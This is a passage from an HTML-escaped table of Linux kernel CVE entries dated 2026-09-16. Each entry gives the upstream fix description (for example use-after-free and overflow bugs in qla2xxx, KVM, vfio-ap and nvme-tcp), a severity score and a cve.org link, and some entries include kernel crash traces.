qla24xx_enable_msix()). Also guard the target-mode decrement so it cannot reintroduce a zero (which would in turn underflow max_qpairs).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89856&quot; target=&quot;_blank&quot;&gt;CVE-2026-89856&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Initialize NVMe abort_work once at submission qla_nvme_fcp_abort() and qla_nvme_ls_abort() ran INIT_WORK() on priv-&amp;gt;abort_work immediately before schedule_work(). INIT_WORK() reinitializes the work_struct, resetting its list head and clearing the pending bit. If an abort is issued more than once for the same command (for example, concurrent transport teardown and a timeout-driven abort), the second INIT_WORK() reinitializes a work item that is already queued, which can corrupt the workqueue list and lead to crashes or a looping worker. Initialize priv-&amp;gt;abort_work once at command submission, next to the existing per-command spin_lock_init(&amp;amp;priv-&amp;gt;cmd_lock), and leave only schedule_work() in the abort paths. schedule_work() already does nothing when the work item is still pending, so a repeated abort no longer disturbs an in-flight work item. The command is not returned to the transport until the final kref_put()/release callback runs after abort_work has completed, so the work item is idle before priv is reused and the single submission-time INIT_WORK() is safe.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89860&quot; target=&quot;_blank&quot;&gt;CVE-2026-89860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold vport reference in qla24xx_report_id_acquisition() In the format 1 path, the virtual port is located on ha-&amp;gt;vp_list while holding vport_slock, but the lock is dropped before vp is used: qla_update_host_map() is called and VP_IDX_ACQUIRED/REGISTER_FC4_NEEDED/ REGISTER_FDMI_NEEDED are set on vp. No reference is taken across that window, so a concurrent qla24xx_deallocate_vp_id() can tear the vport down and free it, leading to a use-after-free. Take a vport reference (vref_count) under vport_slock when the matching vp is found, and drop it after the last use of vp. qla24xx_deallocate_vp_id() waits for vref_count to reach zero before unlinking and freeing the vport, so the pointer stays valid. This matches the reference idiom already used by the other ha-&amp;gt;vp_list traversals.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89861&quot; target=&quot;_blank&quot;&gt;CVE-2026-89861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: saa7164: fix cleanup on resource allocation failure saa7164_dev_setup() adds the device to the global saa7164_devlist before requesting the PCI BAR memory regions. If get_resources() fails, saa7164_dev_setup() decrements the device count and returns an error, but leaves the device on saa7164_devlist. The probe error path then frees the device, leaving a dangling entry on the global list. Reuse the existing MMIO mapping error path to remove the device from saa7164_devlist and decrement the device count before returning. Also release BAR0 if it was successfully requested but the BAR2 request fails.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89877&quot; target=&quot;_blank&quot;&gt;CVE-2026-89877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: platform: mtk-mdp3: Fix SCP device refcounting mdp_probe() first tries to get the SCP handle with scp_get(). When that fails, it falls back to looking up the SCP platform device with __get_pdev_by_id() and then reads its driver data. The fallback lookup returns the platform device with a reference, just like scp_get() does. However, the fallback path currently drops that reference immediately after platform_get_drvdata(). The driver later still calls scp_put(mdp-&amp;gt;scp) unconditionally from the probe error path and from mdp_video_device_release(), which drops the SCP device reference again. Keep the fallback reference until the existing scp_put() call, so that the fallback path follows the same ownership rules as the scp_get() path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89885&quot; target=&quot;_blank&quot;&gt;CVE-2026-89885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cec: extron-da-hd-4k-plus: add sanity check Add check to prevent overflowing msg.msg[] in case the incoming data is malformed.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89898&quot; target=&quot;_blank&quot;&gt;CVE-2026-89898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: Fix acpi_package_ids[] array overflow With LoongArch virt machine, a typical setting is one core per socket, there will max 256 sockets (packages) on one VM. With PPTT acpi table, array acpi_package_ids[] will be overflowed. Here change the array size of acpi_package_ids[] with the max value of MAX_PACKAGES and KVM_MAX_VCPUS.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89904&quot; target=&quot;_blank&quot;&gt;CVE-2026-89904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Validate MSI data before routing it to EIOINTC pch_msi_set_irq() passes e-&amp;gt;msi.data straight into eiointc_set_irq() as the irq number. The MSI data comes from userspace, that either via a KVM_IRQ_ROUTING_MSI entry set with KVM_SET_GSI_ROUTING (used by irqfd and KVM_IRQ_LINE) or directly via KVM_SIGNAL_MSI, and is never checked against EIOINTC_IRQS. eiointc_set_irq() uses the value with __set_bit()/__clear_bit() on the 256-bit isr bitmap, eiointc_update_irq() then indexes sw_coremap[] and the per-cpu coreisr/sw_coreisr bitmaps with it. Therefore a data value &amp;gt;= 256 reads and writes memory past the end of those arrays, i.e. any process holding a VM fd can corrupt kernel memory beyond the allocation of loongarch_eiointc. Reject MSI data that doesn&#039;t fit in the EIOINTC irq space. The DMSINTC path is unaffected as it decodes the vector from the address and masks it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89907&quot; target=&quot;_blank&quot;&gt;CVE-2026-89907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Preserve memslot arch flags on KVM_MR_FLAGS_ONLY kvm_arch_prepare_memory_region() computes new-&amp;gt;arch.flags, i.e. whether a memslot is KVM_MEM_HUGEPAGE_CAPABLE or KVM_MEM_HUGEPAGE_INCAPABLE, only for KVM_MR_CREATE and KVM_MR_MOVE, and returns early for every other change. But the generic code allocates a zeroed memslot for every change and never copies old-&amp;gt;arch, so after a KVM_MR_FLAGS_ONLY update, e.g. toggling KVM_MEM_LOG_DIRTY_PAGES for live migration, the active memslot has arch.flags == 0. With both flags clear, fault_supports_huge_mapping() falls through to the alignment check on the HVA range alone, which no longer verifies that the GPA and HVA have the same offset within a PMD. A memslot that was marked KVM_MEM_HUGEPAGE_INCAPABLE because of a GPA/HVA offset mismatch can then be mapped with PMD entries on read faults, and since kvm_map_page() aligns the gfn and the pfn independently, the guest ends up accessing the wrong host pages, exactly the &quot;d -&amp;gt; f, e -&amp;gt; g&quot; case described in the comment above the check. Carry the arch flags over from the old memslot for KVM_MR_FLAGS_ONLY, as the GPA, HVA and size are guaranteed to be unchanged for that case.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89908&quot; target=&quot;_blank&quot;&gt;CVE-2026-89908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: vgic-v3: take an LPI reference in vgic_v3_save_pending_tables vgic_v3_save_pending_tables() iterates dist-&amp;gt;lpi_xa using xa_for_each() and dereferences the returned struct vgic_irq in the loop body without holding a reference on the LPI. The xarray iterator only provides temporary RCU coverage while looking up the current entry. That is not sufficient for this loop body, which reads fields from struct vgic_irq and performs guest memory accesses before the iteration completes. A concurrent path can trigger this race: the irqfd cached injection path (vgic_its_inject_cached_translation) obtains a transient LPI reference via vgic_its_check_cache() without holding kvm-&amp;gt;lock, vcpu-&amp;gt;mutex, config_lock, or its_lock. If guest ITS DISCARD then drops the cache and ITE references under its_lock, the transient inject reference may become the final one. When vgic_put_irq() drops it, the LPI is erased from lpi_xa and freed via kfree_rcu(). Meanwhile, vgic_v3_save_pending_tables() may still hold a stale pointer obtained from the xarray iterator and dereference it after the RCU grace period completes. Fix this by re-fetching each iterated LPI via vgic_get_irq(), which takes a stable reference, and dropping it with vgic_put_irq() on all paths. This matches the pattern already used by other lpi_xa iterators in the vgic ITS code.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89913&quot; target=&quot;_blank&quot;&gt;CVE-2026-89913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: Consume the locked rmap value in the lockless rmap walk __kvm_rmap_lock() deliberately elides the rmap lock when it observes an empty rmap. In that case kvm_rmap_lock_readonly() also re-enables preemption and returns zero, so the caller holds neither the rmap lock nor a preemption reference. The elision documents the invariant it relies on: * Elide the lock if the rmap is empty, as lockless walkers (read-only * mode) don&#039;t need to (and can&#039;t) walk an empty rmap, nor can they add * entries to the rmap. I.e. the only paths that process empty rmaps * do so while holding mmu_lock for write, and are mutually exclusive. kvm_rmap_age_gfn_range() ignores the returned value and unconditionally enters for_each_rmap_spte_lockless(). The iterator started with rmap_get_first(), which re-reads rmap_head-&amp;gt;val rather than using the value returned by the lock. If a writer populates the rmap between the lock&#039;s read and the iterator&#039;s re-read, the aging path walks the newly installed rmap without holding its lock. For a KVM_RMAP_MANY rmap this leaves the walker following a pte_list_desc chain that it never locked. A writer holding mmu_lock for write may free that chain (e.g. kvm_zap_all_rmap_sptes() on the recycle path, or any rmap zap) via kmem_cache_free() while the walk is in progress, giving a slab use-after-free. Nothing serialises the two: the aging path runs without mmu_lock when CONFIG_KVM_MMU_LOCKLESS_AGING=y, and the rmap lock that would otherwise exclude the writer was elided. Because the empty path re-enables preemption, the interval between the two reads can span an arbitrary scheduling delay. Fix the class of bug by having the lockless walk consume the value returned by the lock instead of re-reading the rmap. Split rmap_get_first() into __rmap_get_first(), which starts an iterator from an already-read rmap value, and make for_each_rmap_spte_lockless() take that value and call __rmap_get_first() directly. kvm_rmap_age_gfn_range() passes the value returned by kvm_rmap_lock_readonly(): when the lock was elided the value is zero, __rmap_get_first() returns NULL, and the walk is skipped. No lockless walker re-reads the rmap, so the lock-elision invariant cannot be violated, and no lock()-without-paired-unlock() path is added to the aging code.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89928&quot; target=&quot;_blank&quot;&gt;CVE-2026-89928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: nVM: Ensure INVVPID is emulated on the correct physical CPU When emulating INVVPID, KVM executes INVVPID on the physical CPU using vpid02 (instead of the L1 assigned VPID), after doing some validations on the operands. However, it is possible that the physical CPU KVM executes INVVPID on is different from the CPU L2 is running on. For example, in the following scenario: - L2 runs on CPU #1 and exits to L1 (vmx-&amp;gt;nested.vmcs02.cpu=1) - L1 migrates to CPU #2 and executes INVVPID - KVM executes INVVPID on CPU #2 - L1 migrates back to CPU #1 and runs L2 (vmx-&amp;gt;nested.vmcs02.cpu=1) The TLB entries on CPU #1 are never invalidated, because INVVPID was executed on CPU #2, and vmcs02 never ran on a different pCPU (i.e. vmx_vcpu_load_vmcs() will *not* request KVM_REQ_TLB_FLUSH). Ensure that INVVPID is being executed on the same pCPU that L2 last ran on, and if not, fallback to clearing last_vpid=0 to trigger a full VPID flush on the next nested VM-Enter (as KVM will detect L1 using a different VPID for L2). If L2 ends up running on a different pCPU, KVM will flush the TLB anyway through vmx_vcpu_load_vmcs().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89929&quot; target=&quot;_blank&quot;&gt;CVE-2026-89929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Always flush vpid02 on first use Make sure vpid02 is always flushed on first use by setting last_vpid=0 when allocating vpid02. nested_vmx_transition_tlb_flush() will always detect a VPID change on first VM-Enter after VMXON, because VPID=0 in vmcs12 is not allowed if L1 enables VPID. This avoids using stale TLB entries from a previous lifetime of the VPID, that might have been associated with a different vCPU (or a completely different VM). Note that last_vpid is already being initialized as 0 when the vCPU is created, but it is not reset when vpid02 is freed on VMXOFF. Hence, the problem can only occur if L1 does VMXOFF -&amp;gt; VMXON, runs an L2, and KVM happens to reuse a VPID that has TLB entries on the physical CPU.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89932&quot; target=&quot;_blank&quot;&gt;CVE-2026-89932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: loongson: Fix error handling in ACPI property parsing In loongson_card_parse_acpi(), the return value of device_property_read_string() for the `codec-dai-name` property was ignored. If the property is missing or invalid, an uninitialized pointer would be used later, potentially leading to undefined behavior. Fix this by checking the return value and propagating the error appropriately.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89943&quot; target=&quot;_blank&quot;&gt;CVE-2026-89943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: meson: align gxbb_32k_clk_sel number of parents with actual count The following out-of-bounds read has been observed by Christian on a GXBB WeTek Hub: ================================================================== BUG: KASAN: global-out-of-bounds in __clk_register+0x1b70/0x2418 Read of size 8 at addr ffffd66320cf88e0 by task swapper/0/1 CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.0.0-rc5 #1 PREEMPT Hardware name: WeTek Hub (DT) Call trace: show_stack+0x14/0x20 (C) dump_stack_lvl+0x74/0x94 print_report+0x164/0x4b0 kasan_report+0x98/0xd8 __asan_report_load8_noabort+0x1c/0x24 __clk_register+0x1b70/0x2418 devm_clk_hw_register+0x74/0x15c meson_clkc_init+0xd4/0x20c meson_clkc_syscon_probe+0x5c/0x94 platform_probe+0xbc/0x17c really_probe+0x184/0x844 __driver_probe_device+0x154/0x35c driver_probe_device+0x60/0x188 __driver_attach+0x168/0x4a0 bus_for_each_dev+0xec/0x180 driver_attach+0x38/0x58 bus_add_driver+0x238/0x4c0 driver_register+0x150/0x388 __platform_driver_register+0x54/0x7c gxbb_clkc_driver_init+0x18/0x20 do_one_initcall+0xb8/0x340 kernel_init_freeable+0x49c/0x52c kernel_init+0x24/0x148 ret_from_fork+0x10/0x20 The buggy address belongs to the variable: gxbb_32k_clk_parents+0x60/0x400 The buggy address belongs to a vmalloc virtual mapping The buggy address belongs to the physical page: Memory state around the buggy address: ffffd66320cf8780: 00 00 00 00 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 ffffd66320cf8800: 00 04 f9 f9 f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 &amp;gt;ffffd66320cf8880: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 ^ ffffd66320cf8900: 00 01 f9 f9 f9 f9 f9 f9 00 06 f9 f9 f9 f9 f9 f9 ffffd66320cf8980: 00 00 02 f9 f9 f9 f9 f9 00 00 02 f9 f9 f9 f9 f9 ================================================================== Commit 7915d7d5407c (&quot;clk: amlogic: gxbb: drop non existing 32k clock parent&quot;) dropped a non-existing clock parent from the gxbb_32k_clk_sel mux but didn&#039;t adjust the hard-coded num_parents field. Fix the actual number of parents of that mux by using ARRAY_SIZE instead (avoiding similar problems in future).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89947&quot; target=&quot;_blank&quot;&gt;CVE-2026-89947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: batman-adv: fix stale receive device on merged fragments Fragment reassembly reuses the skb from the highest-numbered buffered fragment as the merged packet. When that fragment was received on a hard interface which is deleted before the chain completes, the merged skb can re-enter the receive path with a stale skb-&amp;gt;dev and skb_iif. batadv_batman_skb_recv() passes such merged packets through the normal receive handlers again. DAT and bridge loop avoidance both derive the ARP header length from skb-&amp;gt;dev, so they can dereference the freed net_device before the packet reaches the local mesh interface. Refresh the receive device metadata from the current receive device before running the packet handlers. This keeps internally reinjected merged fragments consistent with the normal receive path after hard interface teardown.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89951&quot; target=&quot;_blank&quot;&gt;CVE-2026-89951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mtd: afs: validate v2 image info bounds The AFS v2 parser uses footer[8] to locate the image information block inside the current erase block, then uses the image information region_count to walk entries from a fixed local array. The footer offset and region count come from flash contents and are not checked against the erase block or the local image-info array before use. Reject v2 entries whose image information offset would underflow the erase block calculation, and reject region counts that cannot fit in the local image-info array before walking region entries.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89954&quot; target=&quot;_blank&quot;&gt;CVE-2026-89954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix hot-unplug skipped when last AP adapter or domain removed The vfio_ap_mdev_hot_unplug_cfg() function uses the return value of bitmap_andnot() to determine whether the guest APCB needs to be updated. However, bitmap_andnot() returns false when the resulting destination bitmap is empty. This means that if the only adapter, domain or control domain assigned to an mdev is removed from the host&#039;s AP configuration, the bit is correctly cleared from the shadow APCB, but bitmap_andnot() returns false because the result is an empty bitmap. Consequently, do_hotplug remains 0 and vfio_ap_mdev_update_guest_apcb() is never called, leaving the KVM guest with stale hardware access to the unplugged AP devices. Fix this by replacing the bitmap_andnot() return value check with bitmap_intersects() to determine whether the shadow APCB actually overlaps with the removal mask. If there is an intersection, call bitmap_andnot() solely for its side effect of clearing the bits, then unconditionally set do_hotplug to trigger the guest APCB update.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89957&quot; target=&quot;_blank&quot;&gt;CVE-2026-89957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix control domain removal in vfio_ap_mdev_cfg_remove The vfio_ap_config_remove function uses the bitmap_andnot function to clear bits from the matrix_mdev-&amp;gt;matrix.adm bitmap (specifies the control domains assigned to the mdev). This prevents the explicitly unplugged control domains from being removed the KVM guest. The bitmap_and function is used instead.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89959&quot; target=&quot;_blank&quot;&gt;CVE-2026-89959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: fix stale pqap_hook pointer on error in vfio_ap_mdev_set_kvm() In vfio_ap_mdev_set_kvm(), kvm-&amp;gt;arch.crypto.pqap_hook is set to &amp;amp;matrix_mdev-&amp;gt;pqap_hook before the update locks are acquired and the mdev list is checked for a conflicting assignment. If another mdev is already attached to the same KVM instance, the function returns -EPERM without restoring the hook pointer, leaving kvm-&amp;gt;arch.crypto.pqap_hook pointing at the failing matrix_mdev instead of the mdev that legitimately owns the KVM. Since matrix_mdev-&amp;gt;kvm is never set on this error path, vfio_ap_mdev_unset_kvm() will not clean up the hook when matrix_mdev is later closed. If matrix_mdev is subsequently freed, any PQAP instruction executed by the guest will dereference the stale pointer through pqap_hook_rwsem, resulting in a use-after-free. Since kvm-&amp;gt;arch.crypto.pqap_hook is only set in the vfio_ap_mdev_set_kvm() function and is cleared in the vfio_ap_mdev_unset_kvm() function, a check for &#039;kvm-&amp;gt;arch.crypto.pqap_hook != NULL&#039; is all that is needed to determine whether it belongs to another mdev. This will alleviate the need to iterate the matrix_dev-&amp;gt;mdev_list list to see if the kvm object is assigned to another mdev.This was introduced in v3 to alleviate the need to take the mdevs_lock while iterating the list; however, this did not prevent a potential race condition. The pqap_hook_rwsem(write) is now performed inside get_update_locks_for_kvm(), which is updated to acquire pqap_hook_rwsem(write) between kvm-&amp;gt;lock and mdevs_lock. This ordering is consistent with the PQAP intercept path, which acquires pqap_hook_rwsem in read mode while srcu is held under vcpu-&amp;gt;mutex, establishing the dependency: kvm-&amp;gt;lock -&amp;gt; vcpu-&amp;gt;mutex -&amp;gt; srcu -&amp;gt; pqap_hook_rwsem(read). The pqap_hook_rwsem is now released inside the release_update_locks_for_kvm(), which is updated to release pqap_hook_rwsem(write) between mdevs_lock and kvm-&amp;gt;lock. Additionally, kvm_put_kvm() in vfio_ap_mdev_unset_kvm() is moved after release_update_locks_for_kvm(). Previously it was called while kvm-&amp;gt;lock was held; if it were ever the last reference, kvm_destroy_vm() would run under kvm-&amp;gt;lock, which would deadlock.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89960&quot; target=&quot;_blank&quot;&gt;CVE-2026-89960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: check the data direction of a C2HData PDU nvme_tcp_handle_c2h_data() finds the request by command id and checks that it has a payload, but it does not check that the command asked for data to be read. A controller that answers a write command with C2HData therefore reaches nvme_tcp_recv_data(), where _copy_to_iter() hits WARN_ON_ONCE(i-&amp;gt;data_source) and returns 0. The receive path turns that into -EFAULT and resets the controller. No data is copied, so this is not memory corruption. What a controller gets is a kernel warning it can raise at will, which is fatal on a host booted with panic_on_warn. The send path already knows the direction - it consults rq_data_dir() when it builds a command - and nvme_tcp_handle_r2t() checks the length and the offset of the request it names. The C2HData path does not check the direction at all. Reject a C2HData PDU whose command is not a read. Rejecting it fails the command and resets the controller, as the neighbouring check in this function does; what goes away is the warning. [ 6.885580] ------------[ cut here ]------------ [ 6.886457] WARNING: lib/iov_iter.c:193 at _copy_to_iter+0x289/0x1330, CPU#0: kworker/0:1H/71 [ 6.888137] CPU: 0 UID: 0 PID: 71 Comm: kworker/0:1H Not tainted 7.2.0-rc5-NVMETCP-gf5098b6bae76 #1 PREEMPT(lazy) [ 6.891165] Workqueue: nvme_tcp_wq nvme_tcp_io_work [ 6.891875] RIP: 0010:_copy_to_iter+0x289/0x1330 [ 6.903739] Call Trace: [ 6.904085] &amp;lt;TASK&amp;gt; [ 6.909254] __skb_datagram_iter+0x433/0x820 [ 6.911026] skb_copy_datagram_iter+0x37/0x120 [ 6.911622] nvme_tcp_recv_skb+0xa07/0x4320 [ 6.913378] __tcp_read_sock+0x1ab/0x810 [ 6.915788] nvme_tcp_try_recv+0x152/0x1e0 [ 6.918222] nvme_tcp_io_work+0x1e4/0x6c0 [ 6.926906] &amp;lt;/TASK&amp;gt; [ 6.927226] ---[ end trace 0000000000000000 ]--- [ 6.927878] nvme nvme0: queue 1 failed to copy request 0x71 data [ 6.928709] nvme nvme0: receive failed: -14&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89973&quot; target=&quot;_blank&quot;&gt;CVE-2026-89973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: harmony: initialize locks before requesting IRQ snd_harmony_create() registers the IRQ before initializing h-&amp;gt;lock and h-&amp;gt;mixer_lock. A pending interrupt can invoke the handler while these locks are uninitialized. Initialize both locks before requesting the IRQ so the handler always sees valid lock state.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89980&quot; target=&quot;_blank&quot;&gt;CVE-2026-89980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpuidle: dt_idle_genpd: kfree() the original name allocation dt_idle_pd_alloc() kasprintf()s the full node path, then points pd-&amp;gt;name at kbasename() of that string. dt_idle_pd_free() kfree()s pd-&amp;gt;name, which is no longer the start of the allocation. Copy the basename instead.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89992&quot; target=&quot;_blank&quot;&gt;CVE-2026-89992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
